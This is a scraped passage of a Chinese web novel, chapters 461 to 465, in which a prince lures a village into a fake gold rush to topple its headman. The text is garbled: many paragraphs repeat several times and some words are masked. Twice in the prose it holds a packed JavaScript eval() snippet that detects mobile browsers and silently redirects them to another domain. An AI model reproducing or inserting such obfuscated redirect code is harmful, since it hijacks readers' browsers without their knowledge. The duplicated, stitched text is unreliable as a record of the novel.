黄鼠匆匆跑过来,高举起手中的黄金,炫耀道:“猴子,世子说得对,越是大树下面黄金就越多!这就是我刚才在砍倒大树的地方挖出来的!” “天呐,这么大!!” “这得有二十两了吧?” “老鼠,你今天的请客啊!!” “必须的!一会儿我们就去县城里潇洒!!” “哈哈哈哈!!” 郝霸王带的村民盯着黄鼠手中的黄金纷纷露出贪婪的眼神。 “村正,我们上去吧,再不去黄金就要被他们挖没了!” “就是啊,那么大的黄金,我们得少种多少年地啊!” 郝霸王一摆手:“别急,再看看,如果真有黄金,我们今天就封山。莽村的东西,只能是我们自己的!” “对!” 此时,侯春站起来喊道:“兄弟们,今天收成不错,不干了!回县城,我们好好玩玩!” “好啊,哈哈哈哈!” “反正黄金就在树底下埋着,又跑不了!” “就是,这么多黄金,就算我们在这占山为王又怎样?” “走走走,明天再挖,今天的进城好好舒坦舒坦!” 侯春等人哈哈大笑着离开,勾肩搭背的,临走还不忘把铁锹、锄头、铲子之类的工具留下。 “以前那是挖矿,可你知道他们是来干什么的?据说是来挖金子的!” “啊?山上有金子?” “可不是嘛!他们就在山的北面挖呢,据说已经挖走不少金子了!” “那怎么办?这可都是我们莽村的金子,不能让他们都挖走啊!” “谁说不是啊,村正不让我们上山,说不定就是他和那群外国人勾结了,要说我们晚上就去上山看看去,如果真有金子,我们也去挖,绝不能让这群外国人拿走!” “对!我们也去!” 像这样的流连蜚语,不知不觉间就在莽村四处传播起来。 甚至村正郝霸王也听说了,也派人去山的北面看了看。 传回来的消息说,那群穿着黑甲的士兵确实在山的北面挖坑,不时有呼声传出来,但具体挖的是什么,他也不知道。 三天后,村正的房间里。 郝霸王留着光头,坐在椅子上,阴沉地看着眼前小弟,说道:“都准备好了?” “都准备好了,老大放心。” “唔,那就去看看,我就不信岭山还真能挖出来金子!” 说完郝霸王起身,拄着蛇头杖,牛气冲天地走向外面。 院子里,二十个精壮的小伙子已经准备好了,手里拿着大刀长钺,一副要上战场的样子。 要不说是莽村呢,其中一个小伙子长得凶神恶煞,一看就没少**。 众人呼呼啦啦地去向岭山,这一幕被很多村民看到,大家议论纷纷,都在等结果。 岭山北面山坡,侯春带着弟兄们满头大汗地用锄头刨地。 地上的坑越来越深,他好像不知疲惫一样,还是铆足了力气,一下又一下地刨。 可刨来刨去,好像没找到自己想要的东西,气愤地一把将锄头扔下,自己坐在石头上休息。 他喊道:“兄弟们,今天都谁挖到了没有?” “还没有呢!” “我刚才挖到一块!” “我挖到两块!” “大哥,我发现大树下面的黄金特别多啊!” 侯春得意的偷偷看了眼不远处大树后面的村民,内心冷笑的同时对黄鼠喊到。 “老黄,你挖到了没?” “找到了找到了!!我的天呐,这么大一块!够我潇洒一辈子的了!哈哈哈哈!!” “侯哥,我也又挖到一块!!” 黄鼠匆匆跑过来,高举起手中的黄金,炫耀道:“猴子,世子说得对,越是大树下面黄金就越多!这就是我刚才在砍倒大树的地方挖出来的!” “天呐,这么大!!” “这得有二十两了吧?” “老鼠,你今天的请客啊!!” “必须的!一会儿我们就去县城里潇洒!!” “哈哈哈哈!!” 郝霸王带的村民盯着黄鼠手中的黄金纷纷露出贪婪的眼神。 “村正,我们上去吧,再不去黄金就要被他们挖没了!” “就是啊,那么大的黄金,我们得少种多少年地啊!” 郝霸王一摆手:“别急,再看看,如果真有黄金,我们今天就封山。莽村的东西,只能是我们自己的!” “对!” 此时,侯春站起来喊道:“兄弟们,今天收成不错,不干了!回县城,我们好好玩玩!” “好啊,哈哈哈哈!” “反正黄金就在树底下埋着,又跑不了!” “就是,这么多黄金,就算我们在这占山为王又怎样?” “走走走,明天再挖,今天的进城好好舒坦舒坦!” 侯春等人哈哈大笑着离开,勾肩搭背的,临走还不忘把铁锹、锄头、铲子之类的工具留下。 “以前那是挖矿,可你知道他们是来干什么的?据说是来挖金子的!” “啊?山上有金子?” “可不是嘛!他们就在山的北面挖呢,据说已经挖走不少金子了!” “那怎么办?这可都是我们莽村的金子,不能让他们都挖走啊!” “谁说不是啊,村正不让我们上山,说不定就是他和那群外国人勾结了,要说我们晚上就去上山看看去,如果真有金子,我们也去挖,绝不能让这群外国人拿走!” “对!我们也去!” 像这样的流连蜚语,不知不觉间就在莽村四处传播起来。 甚至村正郝霸王也听说了,也派人去山的北面看了看。 传回来的消息说,那群穿着黑甲的士兵确实在山的北面挖坑,不时有呼声传出来,但具体挖的是什么,他也不知道。 三天后,村正的房间里。 郝霸王留着光头,坐在椅子上,阴沉地看着眼前小弟,说道:“都准备好了?” “都准备好了,老大放心。” “唔,那就去看看,我就不信岭山还真能挖出来金子!” 说完郝霸王起身,拄着蛇头杖,牛气冲天地走向外面。 院子里,二十个精壮的小伙子已经准备好了,手里拿着大刀长钺,一副要上战场的样子。 要不说是莽村呢,其中一个小伙子长得凶神恶煞,一看就没少**。 众人呼呼啦啦地去向岭山,这一幕被很多村民看到,大家议论纷纷,都在等结果。 岭山北面山坡,侯春带着弟兄们满头大汗地用锄头刨地。 地上的坑越来越深,他好像不知疲惫一样,还是铆足了力气,一下又一下地刨。 可刨来刨去,好像没找到自己想要的东西,气愤地一把将锄头扔下,自己坐在石头上休息。 他喊道:“兄弟们,今天都谁挖到了没有?” “还没有呢!” “我刚才挖到一块!” “我挖到两块!” “大哥,我发现大树下面的黄金特别多啊!” 侯春得意的偷偷看了眼不远处大树后面的村民,内心冷笑的同时对黄鼠喊到。 “老黄,你挖到了没?” “找到了找到了!!我的天呐,这么大一块!够我潇洒一辈子的了!哈哈哈哈!!” “侯哥,我也又挖到一块!!” 黄鼠匆匆跑过来,高举起手中的黄金,炫耀道:“猴子,世子说得对,越是大树下面黄金就越多!这就是我刚才在砍倒大树的地方挖出来的!” “天呐,这么大!!” “这得有二十两了吧?” “老鼠,你今天的请客啊!!” “必须的!一会儿我们就去县城里潇洒!!” “哈哈哈哈!!” 郝霸王带的村民盯着黄鼠手中的黄金纷纷露出贪婪的眼神。 “村正,我们上去吧,再不去黄金就要被他们挖没了!” “就是啊,那么大的黄金,我们得少种多少年地啊!” 郝霸王一摆手:“别急,再看看,如果真有黄金,我们今天就封山。莽村的东西,只能是我们自己的!” “对!” 此时,侯春站起来喊道:“兄弟们,今天收成不错,不干了!回县城,我们好好玩玩!” “好啊,哈哈哈哈!” “反正黄金就在树底下埋着,又跑不了!” “就是,这么多黄金,就算我们在这占山为王又怎样?” “走走走,明天再挖,今天的进城好好舒坦舒坦!” 侯春等人哈哈大笑着离开,勾肩搭背的,临走还不忘把铁锹、锄头、铲子之类的工具留下。 第462章 侯春那帮小子最近可是爽了 郝霸王阴狠的双眼微微眯起,死死盯着侯春等人离开的背影沉思。 他有想过这是那位外国世子做的局。 因为岭山不是第一天在莽村,而是在这里已经好几十年了。 郝霸王对岭山远远要比林臻他们更加熟悉。 他怎么没听说岭山能挖出金子来呢? 有问题! 绝对有问题! 郝霸王指着不远处地上散落的工具说道:“看,那就是他们故意留下的!不对劲,他们肯定是想做什么局!我们绝不能上当!” 他心思还算敏捷,但其他人可不这么想。 刚刚黄鼠可是手里捧着一大块金子炫耀呢,这还能有假? 做局?做什么局?谁会把自己家的黄金闲着没事埋土里自己挖着玩啊? 此时此刻,他们是真想上去看看,但偏偏郝霸王没下命令,他们又不敢乱动,急得心里直抓挠。 郝霸王冷笑着直起身,说道:“以后把这一块封起来,不许那群外国人再来,村里任何人问也不许说!这件事情到此为止。莽村的稳定来之不易,老夫绝不允许就这么被破坏!” “是”大家的回答都有些垂头丧气。 甚至几个精干的小伙子相互对视一眼,眼中的不甘溢于言表。 虎贲营营地。 天地开始解冻,寒冷的春风带着凛冽刮过营地中央的火堆。 火堆上烤着一只滋滋冒油的野兔,很是肥美,胖子蹲在边上馋得直流口水。 这是将士们进山里打来的。 最近林臻是顿顿吃肉,倒不是说菜吃不起,而是菜太稀少了。 楚惜灵把轧**机制作出来之后便开始了烧制玻璃,如果真能搞出来,以后大乾就可以铺大棚了,冬天也就不会再愁菜吃。 胖子最近动不动就吐血,倒不是受伤,而是牙龈出血,这就是典型的缺少维生素的症状。 林臻把烤野兔的木棍转了转。 眼睛余光看到侯春带着小弟欢天喜地地去往县城。 胖子也看见了,说道:“大哥,这都几天了,你这招行不行啊?” “肯定行,就算村正不上当,那些村民也会蠢蠢欲动的。山里有黄金,还是自己村的山,谁都不会放过这个发家致富的机会。” “可你不是说莽村的人都很团结吗?” “是很团结啊,但凡事无绝对,他们对外的时候很团结,但是对内就不一定了。村正不可能控制所有的村民,只要有一个人上山挖到金子,后续的人都会控 制不住的。你看吧,不出十天,这山上的树就会被砍光,到时候就是我们收网的时候。 浣碧用厚厚的衣物垫在屁股下面,依偎在林臻身边,一脸的满足。 林臻见烤得差不多了,便用牛皮纸隔热,扯下来一个兔子腿递给她。 浣碧摇摇头:“夫君先吃。 “我不饿,你吃吧。 其实浣碧也不饿,但是能吃到林臻亲手做的东西,也很难得,于是接过来吃得热火朝天。 胖子早就控制不住了,见林臻说不饿,他立马将整只兔子抢过来,一口咬在兔头上。 林臻急了:“诶诶诶,我还没吃呢。 “你不是说你不饿吗?说完胖子伸出那满是黄色舌苔的大舌头,把兔子全身都舔了一遍。 然后挑衅地看着林臻,那表情好像在说:你还吃么? “你 太恶心了。 这尼玛谁还能吃得下去? 林臻都很难想象,类似静澜那样的天仙美人,是怎么下得去嘴的呢? 这舌头吸吮着不苦吗? 林臻正要骂人,就见一个咬了一小口的兔子腿被递到嘴边。 转头看去,是浣碧洋溢着笑脸:“夫君吃。 “你吃吧,我真不饿。 胖子塞着满嘴都是肉,烫的浑身直打摆子,含含糊糊的说:“你不饿还骂我! “闭嘴,再废话老子打死你! “嘻嘻嘻~浣碧痴痴傻地笑。 其实林臻真的不饿,就是很久没吃野味了而已想尝尝,谁知道胖子一下都抢走了。 这个坏人精,当初真不该带他出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450882|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在此时,有人朝火堆旁边跑了过来。 林臻望去,是侯春的小弟,杰子。 这小伙子很机灵,林臻见过几次。 “世子,莽村有人追着侯哥他们去了。 “嗯,应该是郝霸王派去观察的。林臻刚说完,就觉得有些不对,于是改口道:“不对,郝霸王是土生土长的莽村人,凭借自己的手段把所有村民整合到一块,一致对外。这样的场面是郝霸王最想看到的,那也就是说 浣碧突然把骨头丢进火堆里。 林臻望着那溅起来的火星突然有了新的想法:“郝霸王能有今天,绝对不是傻子,更不会是个轻易上当的人。他应该会**息,不让村民受到蛊惑,从而保持住现在这种团结的局面。既然如此,我不如再给你加把火。 说完林臻看向杰子。 “阿杰,你再去岭山看看,看看郝霸王是不是把挖出金子的地方圈起来了。另外派人留在那里偷偷地观察,看看有没有人偷偷地去挖。另外等侯春回来,你告诉他,继续扩大谣言,尤其是对村民,让那群村**动去挖,引起他们和郝霸王的冲突。” “属下明白!”杰子飞快地离开。 胖子把最后一块兔子骨头从牙缝里抠出来,吐出去老远,说道。 “大哥,侯春那帮小子最近可是爽了,但我们的钱就这么花是不是有点太浪费了?” “怎么?给他爽没给你爽,你很嫉妒?” “什么话啊!胖爷是替你心疼钱,要不你派胖爷过去看着点他们,也好给你省省嘛。” 林臻翻个白眼。 胖子这人心眼太直了,根本都不会撒谎,基本就是屁股一撅,林臻都知道他要放什么屁。 “不行,你就老老实实的给我在营帐呆着,等回了京城给你放半个月的假,去你嫂子那随便玩。” “嫂子随便玩?” “我说的是产业!!”林臻拿起干柴,一下敲在胖子脑袋上,“再敢开这种玩笑,你就死定了!你知不知道招惹张俪的后果?” “别别别大哥,知道了知道了,不开玩笑还不行嘛?” 第463章 岭山真有金子 夜幕降临,北风呼啸。 作为华北平原的最南端,根本没有什么山体能挡住季风的肆虐。 林臻这边有浣碧的陪伴,帐篷里很暖和,夫妻俩再做做游戏,激情四溢。 反观莽村这边,则不然。 郝霸王的几个手下偷偷在村北口季节,翻阅围栏爬上岭山。 这伙人,就是今天看到黄鼠高举黄金,心生羡慕的几人。 领头的叫大海,长得很是凶狠,脸上有一道很长的刀疤,是郝霸王手底下第一打手,也是村里的恶霸。 不过因为郝霸王玩团结政策,所以并没有欺负村民的事情发生,但偶尔的吃拿卡要也少不了。 大海领头上山,边走边对身后的三名小弟说:“兄弟们都机灵点,我们今天就是来试试水,万一真挖到了,谁也不许声张。” “知道了大哥!” “您就瞧好吧!” “那群外国人都能挖到金子,我们怎么可能挖不到!” “你们都听见他们说了吧?越是大树下面就越有金子,等下你们就专挑没人挖过的大树下面挖,要是挖到,立刻来汇报!” “是!” 说话间几人来到山的北面,地上还散落着许多工具,有锄头、有铲子、还有撬棍,大斧子。 山的周围已经被绳子拦了起来,山脚下有人看守,但是这里根本没人管。 大海神色一凛,说道:“开挖!” “是!” 几人拿起地上的家伙,加上自己带来的,瞅准一棵树就开始挖。 树根并不好挖,挖几下就得用大斧子砍掉树根,还要用铲子清理土。 但是很可惜,折腾来折腾去,挖了一米多深也没看到金子。 几人面面相觑。 “没有啊。” “难道真是骗我们的?” “应该不会啊,谁会把金子埋土里,然后又自己来挖?这不是闲的吗?” 大海的脸色有些阴郁。 他也觉得奇怪,按理说不会有人闲得无聊来折腾他们。 这地底下,肯定有东西! “继续挖!” “是!” 三人答应一声,去找另外的树木。 可谁知就在此时,一名小弟匆匆跑过来,大喊着:“大哥,大哥,我挖到了!” “什么!?” 大海脸色一变,也忙快走几步。 就见小弟手里颤抖地捧着一块金子。 这金子不大,至少 和今天那个外国人挖出来的没法比,但也足足有一两的样子! “真有金子啊!!” “大哥,我们发财了啊!” “村正不信邪,以后我们就偷偷过来挖,照这个速度,不需要几天我们就能挖到一辈子也花不完的金子!” “发财了发财了!!” “哈哈哈哈!” 大海手里攥着那金子,激动得都不知道说什么好了。 莽村虽然没有饿死过人,但也没这么富裕过啊! 以后那些外国人去的烟花地,自己也能去了! “挖!继续挖!” “是!” 在确定有金子之后,这帮人可算是来劲儿了,从半夜一直挖到天亮。 不能说收获满满,但也怀揣着十几两黄金回到家。 这么多金子,足以让他们其中任何一个人三十年衣食无忧。 更何况还是一夜的收入。 人心是贪婪的,大海回去的路上对所有人下了死命令。 这件事情就只有他们几个人知道,任何人都不能外传,否则别怪他心狠手辣! 可谁知道,消息早就被传开了。 第二天下午,村民就开始议论纷纷。 “诶?你听说了吗?村正把岭山北面也给封上了。” “是啊,现在谁也不能上山了!” “这是在弄啥咧?” “你们还不知道啊?”一个村姑大姐从隔壁走过来,扎进人堆里:“那岭山上真有黄金!昨天村正已经让大海他们去挖了!据说挖出来好几十斤呢!” “啥?真有黄金啊?” “可不是咋滴,村正不让我们挖所以就封山了,那群外国人也被挡在外面了!现在岭山就是禁区,谁也不允许进,这么多金子恐怕都要让村正独吞了。” “那咋整啊?瞧村正的样子也没打算和我们分啊。” “分?呵,他连山都不让你上,也没给我们个说法,自己派大海他们去挖,那肯定是打算独吞了。” “不行!那么多金子哪能独吞啊?我家当家的和大海是把兄弟,今晚就跟着去看看。” “好啊好啊,你要是能看到,回头有什么情况知会一声!我们莽村向来团结,大家有金子一起挖嘛!” “谁说不是呢,村正这次真是太不讲究了,要是有金子,不管他说啥,咱也得去挖!” “对,莽村都穷这么多年了,好不容易有个富裕的机会,可不能白白便宜了村正!” 妇女们在 自家门口议论纷纷。 倒不是说村里城里搞什么对立,而是这年代没有什么娱乐方式,最大的娱乐就是大家聚在一起讨论点什么。 率先说郝霸王挖金子的妇女借口说回家带孩子去了,于是转身离开。 几个妇女看着她的背影说道:“诶?刚才那是谁家的小媳妇啊?” “不知道啊,长得还挺俊俏呢。” “就是,白白净净的,咱村里啥时候有这么水灵的媳妇了?” “你看,她进二蛋家里了,难道是二蛋新娶的媳妇?” “你可拉倒吧,二蛋家里就四亩地,穷得还不如我家呢。” 没有人注意到,那“小媳妇”只是在二蛋家门口晃了一下,便身子一跃跳上房顶,最后在一个后空翻,翻出莽村的栅栏,扬长而去。 侯春任务完成,蹲在小溪边洗了洗脸,“小媳妇”的面相逐渐变成奶油小生的帅气脸庞。 他冷笑一声,静待事件发展。 晚间,说是大海把兄弟的媳妇,劝说当家的去找大海问问。 这个男人叫虎子,平时与大海关系不错,但因为胆子小所以不怎么往郝霸王家里去。 于是大海这次挖金子也没带上他。 直到他按耐不住金子的诱惑,去了大海家。 大海家在村里子算比较殷实的。 也对,跟村长混的人,生活质量肯定不会太差。 大海正在家里准备呢,这次他带了四把铁铲,两把斧子,准备扩大范围,好好找找,说不定收获比昨天更多。 虎子撩起门帘走进去,就见大海背着包裹准备出门,他说道:“海哥,干啥去?” 自家门口议论纷纷。 倒不是说村里城里搞什么对立,而是这年代没有什么娱乐方式,最大的娱乐就是大家聚在一起讨论点什么。 率先说郝霸王挖金子的妇女借口说回家带孩子去了,于是转身离开。 几个妇女看着她的背影说道:“诶?刚才那是谁家的小媳妇啊?” “不知道啊,长得还挺俊俏呢。” “就是,白白净净的,咱村里啥时候有这么水灵的媳妇了?” “你看,她进二蛋家里了,难道是二蛋新娶的媳妇?” “你可拉倒吧,二蛋家里就四亩地,穷得还不如我家呢。” 没有人注意到,那“小媳妇”只是在二蛋家门口晃了一下,便身子一跃跳上房顶,最后在一个后空翻,翻出莽村的栅栏,扬长而去。 侯春任务完成,蹲在小溪边洗了洗脸,“小媳妇”的面相逐渐变成奶油小生的帅气脸庞。 他冷笑一声,静待事件发展。 晚间,说是大海把兄弟的媳妇,劝说当家的去找大海问问。 这个男人叫虎子,平时与大海关系不错,但因为胆子小所以不怎么往郝霸王家里去。 于是大海这次挖金子也没带上他。 直到他按耐不住金子的诱惑,去了大海家。 大海家在村里子算比较殷实的。 也对,跟村长混的人,生活质量肯定不会太差。 大海正在家里准备呢,这次他带了四把铁铲,两把斧子,准备扩大范围,好好找找,说不定收获比昨天更多。 虎子撩起门帘走进去,就见大海背着包裹准备出门,他说道:“海哥,干啥去?” 自家门口议论纷纷。 倒不是说村里城里搞什么对立,而是这年代没有什么娱乐方式,最大的娱乐就是大家聚在一起讨论点什么。 率先说郝霸王挖金子的妇女借口说回家带孩子去了,于是转身离开。 几个妇女看着她的背影说道:“诶?刚才那是谁家的小媳妇啊?” “不知道啊,长得还挺俊俏呢。” “就是,白白净净的,咱村里啥时候有这么水灵的媳妇了?” “你看,她进二蛋家里了,难道是二蛋新娶的媳妇?” “你可拉倒吧,二蛋家里就四亩地,穷得还不如我家呢。” 没有人注意到,那“小媳妇”只是在二蛋家门口晃了一下,便身子一跃跳上房顶,最后在一个后空翻,翻出莽村的栅栏,扬长而去。 侯春任务完成,蹲在小溪边洗了洗脸,“小媳妇”的面相逐渐变成奶油小生的帅气脸庞。 他冷笑一声,静待事件发展。 晚间,说是大海把兄弟的媳妇,劝说当家的去找大海问问。 这个男人叫虎子,平时与大海关系不错,但因为胆子小所以不怎么往郝霸王家里去。 于是大海这次挖金子也没带上他。 直到他按耐不住金子的诱惑,去了大海家。 大海家在村里子算比较殷实的。 也对,跟村长混的人,生活质量肯定不会太差。 大海正在家里准备呢,这次他带了四把铁铲,两把斧子,准备扩大范围,好好找找,说不定收获比昨天更多。 虎子撩起门帘走进去,就见大海背着包裹准备出门,他说道:“海哥,干啥去?” 自家门口议论纷纷。 倒不是说村里城里搞什么对立,而是这年代没有什么娱乐方式,最大的娱乐就是大家聚在一起讨论点什么。 率先说郝霸王挖金子的妇女借口说回家带孩子去了,于是转身离开。 几个妇女看着她的背影说道:“诶?刚才那是谁家的小媳妇啊?” “不知道啊,长得还挺俊俏呢。” “就是,白白净净的,咱村里啥时候有这么水灵的媳妇了?” “你看,她进二蛋家里了,难道是二蛋新娶的媳妇?” “你可拉倒吧,二蛋家里就四亩地,穷得还不如我家呢。” 没有人注意到,那“小媳妇”只是在二蛋家门口晃了一下,便身子一跃跳上房顶,最后在一个后空翻,翻出莽村的栅栏,扬长而去。 侯春任务完成,蹲在小溪边洗了洗脸,“小媳妇”的面相逐渐变成奶油小生的帅气脸庞。 他冷笑一声,静待事件发展。 晚间,说是大海把兄弟的媳妇,劝说当家的去找大海问问。 这个男人叫虎子,平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450883|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时与大海关系不错,但因为胆子小所以不怎么往郝霸王家里去。 于是大海这次挖金子也没带上他。 直到他按耐不住金子的诱惑,去了大海家。 大海家在村里子算比较殷实的。 也对,跟村长混的人,生活质量肯定不会太差。 大海正在家里准备呢,这次他带了四把铁铲,两把斧子,准备扩大范围,好好找找,说不定收获比昨天更多。 虎子撩起门帘走进去,就见大海背着包裹准备出门,他说道:“海哥,干啥去?” 自家门口议论纷纷。 倒不是说村里城里搞什么对立,而是这年代没有什么娱乐方式,最大的娱乐就是大家聚在一起讨论点什么。 率先说郝霸王挖金子的妇女借口说回家带孩子去了,于是转身离开。 几个妇女看着她的背影说道:“诶?刚才那是谁家的小媳妇啊?” “不知道啊,长得还挺俊俏呢。” “就是,白白净净的,咱村里啥时候有这么水灵的媳妇了?” “你看,她进二蛋家里了,难道是二蛋新娶的媳妇?” “你可拉倒吧,二蛋家里就四亩地,穷得还不如我家呢。” 没有人注意到,那“小媳妇”只是在二蛋家门口晃了一下,便身子一跃跳上房顶,最后在一个后空翻,翻出莽村的栅栏,扬长而去。 侯春任务完成,蹲在小溪边洗了洗脸,“小媳妇”的面相逐渐变成奶油小生的帅气脸庞。 他冷笑一声,静待事件发展。 晚间,说是大海把兄弟的媳妇,劝说当家的去找大海问问。 这个男人叫虎子,平时与大海关系不错,但因为胆子小所以不怎么往郝霸王家里去。 于是大海这次挖金子也没带上他。 直到他按耐不住金子的诱惑,去了大海家。 大海家在村里子算比较殷实的。 也对,跟村长混的人,生活质量肯定不会太差。 大海正在家里准备呢,这次他带了四把铁铲,两把斧子,准备扩大范围,好好找找,说不定收获比昨天更多。 虎子撩起门帘走进去,就见大海背着包裹准备出门,他说道:“海哥,干啥去?” 自家门口议论纷纷。 倒不是说村里城里搞什么对立,而是这年代没有什么娱乐方式,最大的娱乐就是大家聚在一起讨论点什么。 率先说郝霸王挖金子的妇女借口说回家带孩子去了,于是转身离开。 几个妇女看着她的背影说道:“诶?刚才那是谁家的小媳妇啊?” “不知道啊,长得还挺俊俏呢。” “就是,白白净净的,咱村里啥时候有这么水灵的媳妇了?” “你看,她进二蛋家里了,难道是二蛋新娶的媳妇?” “你可拉倒吧,二蛋家里就四亩地,穷得还不如我家呢。” 没有人注意到,那“小媳妇”只是在二蛋家门口晃了一下,便身子一跃跳上房顶,最后在一个后空翻,翻出莽村的栅栏,扬长而去。 侯春任务完成,蹲在小溪边洗了洗脸,“小媳妇”的面相逐渐变成奶油小生的帅气脸庞。 他冷笑一声,静待事件发展。 晚间,说是大海把兄弟的媳妇,劝说当家的去找大海问问。 这个男人叫虎子,平时与大海关系不错,但因为胆子小所以不怎么往郝霸王家里去。 于是大海这次挖金子也没带上他。 直到他按耐不住金子的诱惑,去了大海家。 大海家在村里子算比较殷实的。 也对,跟村长混的人,生活质量肯定不会太差。 大海正在家里准备呢,这次他带了四把铁铲,两把斧子,准备扩大范围,好好找找,说不定收获比昨天更多。 虎子撩起门帘走进去,就见大海背着包裹准备出门,他说道:“海哥,干啥去?” 自家门口议论纷纷。 倒不是说村里城里搞什么对立,而是这年代没有什么娱乐方式,最大的娱乐就是大家聚在一起讨论点什么。 率先说郝霸王挖金子的妇女借口说回家带孩子去了,于是转身离开。 几个妇女看着她的背影说道:“诶?刚才那是谁家的小媳妇啊?” “不知道啊,长得还挺俊俏呢。” “就是,白白净净的,咱村里啥时候有这么水灵的媳妇了?” “你看,她进二蛋家里了,难道是二蛋新娶的媳妇?” “你可拉倒吧,二蛋家里就四亩地,穷得还不如我家呢。” 没有人注意到,那“小媳妇”只是在二蛋家门口晃了一下,便身子一跃跳上房顶,最后在一个后空翻,翻出莽村的栅栏,扬长而去。 侯春任务完成,蹲在小溪边洗了洗脸,“小媳妇”的面相逐渐变成奶油小生的帅气脸庞。 他冷笑一声,静待事件发展。 晚间,说是大海把兄弟的媳妇,劝说当家的去找大海问问。 这个男人叫虎子,平时与大海关系不错,但因为胆子小所以不怎么往郝霸王家里去。 于是大海这次挖金子也没带上他。 直到他按耐不住金子的诱惑,去了大海家。 大海家在村里子算比较殷实的。 也对,跟村长混的人,生活质量肯定不会太差。 大海正在家里准备呢,这次他带了四把铁铲,两把斧子,准备扩大范围,好好找找,说不定收获比昨天更多。 虎子撩起门帘走进去,就见大海背着包裹准备出门,他说道:“海哥,干啥去?” 第464章 还和我装?金子呢? 大海看见他也是一愣,下意识的把包裹往后藏了藏,警惕地问道:“有事儿? “啊,没事,就是问问你这大晚上得干啥去啊?有啥好事儿也别忘了弟弟啊。 两人是把兄弟。 即便是现代,依旧有很多人认这个东西,更别说古代了。 大海犹豫了一下,但还是没有直说。 “我有事儿出去一趟,你该干啥干啥去。 “啥事儿啊?我能帮上忙。 “不用你帮忙。 “海哥,我们还是不是兄弟了!?虎子顿时急了,瞪着眼睛埋怨道:“当初我们一个头磕在地上,歃血为盟的时候,你都忘了吗? “我我当然没忘。 男人很多时候就怕打感情牌。 你来硬的,那谁也不怕你;但如果你来软的,男人这心脏根本受不了。 大海就是这样,一想起当年结拜的好兄弟们经历过的风风雨雨,他内心就觉得有些亏欠,甚至是内疚。 都是自家兄弟,不能自己发财让人家吃糠咽菜啊,那还是什么兄弟? 大海一咬牙:“行吧,我告诉你,但是你不许告诉别人,否则我们就不是兄弟了! “嗯,海哥你说。 “岭山上有黄金。大海见虎子要喊,连忙捂住他的嘴:“别叫!金子不多,我们几个人还不够分呢,你一喊不是想让所有人都去挖金子了吗? 虎子连忙点头。 大海这才松开他,谨慎地道:“你也不用回去收拾东西了,我带的家伙足够,现在你就跟我上山,切记别声张!如果顺利挖到金子,分你一份。 “海哥,岭山真有金子啊?是不是村正让你们挖地? “呵。大海冷冷一笑,“村正说是那些乾国人做的局,不让我们挖,估计也是想自己挖吧。奶奶的这个老王八犊子一贯喜欢多吃多占,我们先去挖点,等他反应过来,这些金子也够我们潇洒一辈子的了! “有道理!那我们出发!? “走! 哥俩匆匆忙忙上山,然而他们不知道,这一幕已经被部分有心之人看到了。 这天晚上的收获没有昨天多,但也算得到一笔巨款,大海等人满载而归。 尤其是虎子,乐得都不知道说什么好了,怀里揣着一两黄金美滋滋地准备去县城潇洒潇洒。 然而他早上刚回到家,就看到自家婆娘站在院子里。 那表情充斥着尖酸刻薄,好像是来捉奸的。 她一伸手:“拿来。” “什么啊?” “还和我装?金子呢?” “我我没挖到” “没挖到?”婆娘走过去在虎子身上乱翻,最后从怀里掏出一个质地不是很纯的金块。 她扬了扬:“这是什么!你还敢骗我!” “这是我挖了一夜才挖到的一块,你不能抢走!” “放屁!我是给你攒着,咱这个家哪哪都需要添置,需要修补,你拿金子干什么?准备**去吗?” “我没有啊!”虎子很冤枉,即便他心里真是这么想的。 毕竟现在除了**也没有什么正经的娱乐项目,不像后世那么的丰富。 婆娘嗓门很大。 “那你拿金子干什么?这是给咱儿子娶老婆的!我告诉你,以后挖出来金子都必须上交!” “啥?你真挖到金子了?”一个老太婆从屋里走出来,听到两人在院子里吵架,惊喜地问道。 同时周围的人也逐渐聚拢过来,纷纷问道。 “虎子,那岭山真有金子啊?” “你啥时候去挖地啊?” “挖出来多少?我们也想去挖点!” “有发财的机会可别忘了我们啊!” 虎子顿时就傻眼了。 大海千叮咛万嘱咐,说这件事情不能外传,结果现在村里人几乎都知道了。 这可怎么办?让大海知道,他还不得打死自己。 他当即反驳:“没有!岭山北面没有金子!我的金子也不是从岭山上挖的!” “那你拿来的金子?” “就是,你家都穷的叮当响了,哪来的金子啊?” “我们又没说是北面,你怎么知道是北面的?” “肯定就是你们偷摸去挖了,不告诉我们!” 大家 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三根编成一根,最后系在木棍的最前端,线头的另一边捆上一根短小的树枝,树枝上挂着几条蚯蚓。 他在钓鱼。 河水的温度正在上升,鱼还不是很活跃,所以林臻**了一上午也没钓到什么。 空军嘛。 他早就**以为常了。 浣碧坐在他身边陪着,是不是地剥栗子喂进他嘴里,一副地主老财的样子。 胖子闲着无聊,就靠在一边的大树下面打盹。 这时,侯春跑了过来。 “世子,村民们果然中计了!他们**了许多人,正往岭山去呢。” 林臻微微一笑:“郝霸王去了吗?” “估计也去了,毕竟这么大的动静,他不会不管。” “那就派人去加加温,郝霸王统领莽村这么多年,也该下台了。” “呵呵呵,属下明白,这就去安排。”侯春阴损一笑,转身离开。 第465章 这都是我的金子! 岭山北面,阳光照射过来总是缺少几分温度,让人感觉不到任何暖意。 南面的树已经有开始发芽的了,这里还是灰蒙蒙一片。 但寒冷也抵抗不住村民挖宝的热情。 